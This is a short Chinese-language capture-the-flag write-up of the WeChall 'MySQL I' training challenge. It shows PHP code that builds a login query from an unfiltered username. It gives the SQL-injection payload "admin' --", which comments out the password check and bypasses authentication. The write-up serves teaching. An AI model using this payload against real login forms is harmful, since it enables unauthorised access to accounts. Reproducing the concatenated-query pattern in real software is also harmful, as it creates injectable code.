WeChall - Training - MySQL I

经典 MySQL 认证绕过。登录表单直接将用户输入拼接进 SQL 查询。

Challenge

目标:以 admin 身份登录。

源码中的查询逻辑:

1
2
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
  • $username 直接从 POST 参数拼接,无任何过滤
  • $password 经过 md5() 编码后再拼接,注入困难
1
2
3
if (strtolower($result['username']) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}

要求返回的 username 字段为 admin(大小写不敏感)。

Solution

在 username 注入 SQL 注释,截断密码检查:

1
2
Username: admin' --
Password: (任意)

实际执行的 SQL:

1
SELECT * FROM users WHERE username='admin' -- ' AND password='<md5>'

-- 后的内容被注释掉,查询只检查 username='admin'。数据库中存在 admin 用户,返回其数据,strtolower($result['username']) === 'admin' 成立,挑战解决。